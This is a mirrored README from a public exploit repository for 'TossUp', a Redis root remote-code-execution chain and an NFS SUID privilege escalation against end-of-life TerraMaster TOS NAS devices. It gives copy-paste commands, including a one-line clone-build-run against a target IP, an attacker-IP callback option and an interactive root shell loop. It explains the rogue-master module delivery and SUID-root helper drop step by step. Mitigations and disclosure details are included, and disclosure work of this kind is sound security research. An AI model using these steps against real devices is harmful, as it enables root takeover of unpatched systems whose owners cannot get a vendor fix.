mirror of
https://github.com/v12-security/pocs.git
synced 2026-05-26 16:40:48 +00:00
241 lines
7.5 KiB
Markdown
241 lines
7.5 KiB
Markdown
# TossUp: TerraMaster TOS Redis RCE
|
|
|
|
<p align="center">
|
|
<img width="50%" alt="tossup logo" src="https://github.com/user-attachments/assets/8ed17d2c-f42f-4d9f-a5fc-c9f294a8ab5d" />
|
|
</p>
|
|
|
|
## Abstract
|
|
|
|
https://github.com/user-attachments/assets/12573e6d-b29a-4189-b71c-a44a21ca8e62
|
|
|
|
TossUp is a pair of bugs against TerraMaster TOS3_A1.0 4.2.41 on RTD1296
|
|
devices: an unauthenticated Redis root RCE and a separate NFS
|
|
`no_root_squash` local privilege escalation.
|
|
|
|
TossUp was discovered with [V12](https://v12.sh) by Aaron Esau of the
|
|
[V12 security team](https://x.com/v12sec).
|
|
|
|
> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh).
|
|
|
|
The LPE is not part of the Redis RCE chain because the RCE already executes as
|
|
root.
|
|
|
|
We also have a separate authentication bypass, likely upgradable to RCE, which
|
|
we will release in the near future.
|
|
|
|
The bug is simple: the NAS ships Redis 4.0.10 running as root, listening on
|
|
`0.0.0.0:6379`, with no authentication. The on-disk `/etc/redis.conf` contains
|
|
`bind 127.0.0.1`, but the init path starts Redis as `redis-server *:6379`
|
|
without using that config file.
|
|
|
|
The PoC uses standard Redis features to turn that exposure into root RCE:
|
|
|
|
1. `CONFIG SET` changes Redis' working directory and database filename.
|
|
2. `SLAVEOF` points the NAS at a rogue Redis master controlled by the attacker.
|
|
3. The rogue master sends an AArch64 Redis module as the replication payload.
|
|
4. Redis writes the payload to disk as `/tmp/.<random>.so`.
|
|
5. `MODULE LOAD` loads the module and registers `system.exec`.
|
|
6. `system.exec` runs shell commands through `popen()` as the Redis process,
|
|
which is root on the tested device.
|
|
|
|
We reported this to TerraMaster who stated TOS4 is EOL. They have not indicated intent to fix the bug, so we are releasing our POC.
|
|
|
|
## "TossUp"?
|
|
|
|
Because it's TOS and you upload a malicious module.
|
|
|
|
## Exploitation
|
|
|
|
Build the Redis module:
|
|
|
|
```
|
|
cd terramaster/rce
|
|
make
|
|
```
|
|
|
|
Run one command as root:
|
|
|
|
```
|
|
python3 poc.py <NAS_IP> --cmd "id"
|
|
```
|
|
|
|
Or start the interactive command loop:
|
|
|
|
```
|
|
python3 poc.py <NAS_IP>
|
|
```
|
|
|
|
One-line version:
|
|
|
|
```
|
|
git clone https://github.com/v12-security/pocs.git && cd pocs/terramaster/rce && make && python3 poc.py <NAS_IP> --cmd "id"
|
|
```
|
|
|
|
If the NAS cannot route back to the automatically selected attacker IP, provide
|
|
one explicitly:
|
|
|
|
```
|
|
python3 poc.py <NAS_IP> --lhost <ATTACKER_IP> --cmd "id"
|
|
```
|
|
|
|
The target must expose TCP/6379 to you, and it must be able to connect back to
|
|
the temporary rogue-master listener opened by `poc.py`.
|
|
|
|
## Building
|
|
|
|
The `rce/Makefile` builds an AArch64 Redis module:
|
|
|
|
```
|
|
aarch64-linux-gnu-gcc -shared -fPIC -nostartfiles -o module.so module.c
|
|
```
|
|
|
|
Install an AArch64 cross-compiler if `make` fails with a missing compiler
|
|
error. A prebuilt `module.so` is included for the tested RTD1296 target, but
|
|
rebuilding is recommended if you change the module or do not want to run the
|
|
checked-in binary.
|
|
|
|
## Cleanup
|
|
|
|
The PoC attempts to clean up after itself:
|
|
|
|
- `SLAVEOF NO ONE`
|
|
- restore the original Redis `dir`
|
|
- restore the original Redis `dbfilename`
|
|
- remove the dropped `/tmp/.<random>.so`
|
|
- `MODULE UNLOAD system`
|
|
|
|
If the script is interrupted after module loading, unload it manually:
|
|
|
|
```
|
|
redis-cli -h <NAS_IP> MODULE UNLOAD system
|
|
```
|
|
|
|
The dropped module path is printed during exploitation. Remove that file from
|
|
the NAS if cleanup did not run.
|
|
|
|
## How It Works
|
|
|
|
1. **Unauthenticated Redis check.** `poc.py` connects to `<NAS_IP>:6379`, sends
|
|
`PING`, and expects `+PONG`. It also queries `INFO server` to print useful
|
|
Redis details such as `redis_version`, `os`, `process_id`, and `tcp_port`.
|
|
|
|
2. **Drop-path setup.** The current Redis `dir` and `dbfilename` are saved.
|
|
The PoC then sets `dir` to `/tmp` and `dbfilename` to a random hidden
|
|
`.so` name.
|
|
|
|
3. **Rogue master startup.** The PoC opens a local TCP listener on an ephemeral
|
|
port. If `--lhost` is not provided, it chooses the local source address that
|
|
can reach the NAS.
|
|
|
|
4. **Replication trigger.** The PoC sends `SLAVEOF <lhost> <lport>` to the NAS.
|
|
Redis connects back to the rogue master and starts the normal replication
|
|
handshake.
|
|
|
|
5. **Module delivery.** The rogue master implements just enough Redis
|
|
replication protocol to answer `PING`/setup commands and then return
|
|
`FULLRESYNC` with `module.so` as the bulk payload. Redis writes that payload
|
|
to `/tmp/.<random>.so`.
|
|
|
|
6. **State restoration.** The PoC sends `SLAVEOF NO ONE` and restores the saved
|
|
`dir` and `dbfilename` values so Redis is no longer pointed at the rogue
|
|
master or `/tmp`.
|
|
|
|
7. **Module load.** The PoC reconnects, verifies Redis still does not require
|
|
auth, and sends `MODULE LOAD /tmp/.<random>.so`.
|
|
|
|
8. **Root command execution.** `module.c` registers a Redis command named
|
|
`system.exec`. Each call runs the supplied command with `popen()`, captures
|
|
up to 8191 bytes of stdout, and returns it as a Redis simple string.
|
|
|
|
9. **Interactive loop.** Without `--cmd`, `poc.py` provides a simple
|
|
`root@<host>#` command prompt over repeated `system.exec` calls. This is not
|
|
a real TTY; it is a command loop.
|
|
|
|
## Separate LPE: NFS no_root_squash
|
|
|
|
The `lpe/` directory contains a separate TerraMaster TOS local privilege
|
|
escalation. It is not needed for TossUp because the Redis RCE already executes
|
|
as root, but it is useful as a standalone issue for systems where an attacker
|
|
has code execution as an unprivileged NAS user.
|
|
|
|
The LPE abuses an NFS export that allows remote root to create root-owned files
|
|
on the NAS. `drop.sh` mounts the export from the client, copies a static
|
|
AArch64 helper binary, sets owner `0:0`, and sets mode `4755`. If the export is
|
|
not root-squashed, the NAS keeps those attributes. Any local NAS user can then
|
|
execute the dropped helper to get a root shell or run one command as root.
|
|
|
|
Build and drop the helper:
|
|
|
|
```
|
|
cd terramaster/lpe
|
|
make
|
|
sudo ./drop.sh <NAS_IP>
|
|
```
|
|
|
|
If auto-detection chooses the wrong export, provide one explicitly:
|
|
|
|
```
|
|
sudo ./drop.sh <NAS_IP> <export_path>
|
|
```
|
|
|
|
On success the script prints the dropped path:
|
|
|
|
```
|
|
[+] SUID-root binary dropped at <export_path>/.suid
|
|
```
|
|
|
|
Then, on the NAS as any user:
|
|
|
|
```
|
|
<export_path>/.suid
|
|
<export_path>/.suid id
|
|
```
|
|
|
|
The helper in `suid.c` is intentionally minimal: it calls `setuid(0)` and
|
|
`setgid(0)`, then either execs the supplied command or falls back to `/bin/sh`.
|
|
|
|
## Affected Versions
|
|
|
|
Confirmed on:
|
|
|
|
```
|
|
TOS3_A1.0 4.2.41
|
|
Redis 4.0.10
|
|
RTD1296 / AArch64
|
|
```
|
|
|
|
Other TerraMaster builds may be affected if all of these conditions hold:
|
|
|
|
- Redis listens on `0.0.0.0:6379`
|
|
- Redis has no authentication
|
|
- Redis accepts `CONFIG SET`, `SLAVEOF`, and `MODULE LOAD`
|
|
- Redis runs as root
|
|
- the loaded module matches the NAS CPU architecture
|
|
|
|
The NFS LPE is separate and depends on different conditions:
|
|
|
|
- the NAS exposes an NFS export reachable by the client
|
|
- the export allows writes from the client
|
|
- the export does not squash remote root
|
|
- the dropped helper matches the NAS CPU architecture
|
|
|
|
## Mitigation
|
|
|
|
For owners who do not want this behavior:
|
|
|
|
- block TCP/6379 from untrusted networks
|
|
- make Redis bind only to localhost
|
|
- require Redis authentication
|
|
- disable or rename dangerous Redis commands such as `CONFIG`, `SLAVEOF`, and
|
|
`MODULE`
|
|
- fix the init path so Redis actually uses the intended config file
|
|
- run Redis as an unprivileged service user
|
|
- root-squash NFS exports and avoid writable exports to untrusted clients
|
|
|
|
Because the tested product is EOL, network isolation is the practical first
|
|
line of defense.
|
|
|
|
## Credit
|
|
|
|
Found with V12 by Aaron Esau of the V12 security team: [v12.sh](https://v12.sh)
|
|
-- dangerously powerful agentic security.
|